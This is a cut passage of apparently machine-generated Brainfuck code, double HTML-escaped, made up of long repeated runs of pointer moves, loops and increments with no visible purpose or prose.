t;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++[-&amp;lt;++++++&amp;gt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++++[-&amp;lt;+++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]+++++[-&amp;lt;+++++&amp;gt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++[-&amp;lt;+++++++++++++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]+++++[-&amp;lt;+++++&amp;gt;]&amp;lt;+&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++++[-&amp;lt;++++++++++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]+++[-&amp;lt;+++++++++&amp;gt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++[-&amp;lt;+++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++[-&amp;lt;+++++++&amp;gt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++[-&amp;lt;++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++[-&amp;lt;+++++++&amp;gt;]&amp;lt;+&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++[-&amp;lt;+++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]+++++[-&amp;lt;++++++&amp;gt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++++[-&amp;lt;+++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]+++++[-&amp;lt;++++++&amp;gt;]&amp;lt;+&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++++[-&amp;lt;+++++++++++&amp;gt;]&amp;lt;++++&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++[-&amp;lt;++++++++&amp;gt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++[-&amp;lt;++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt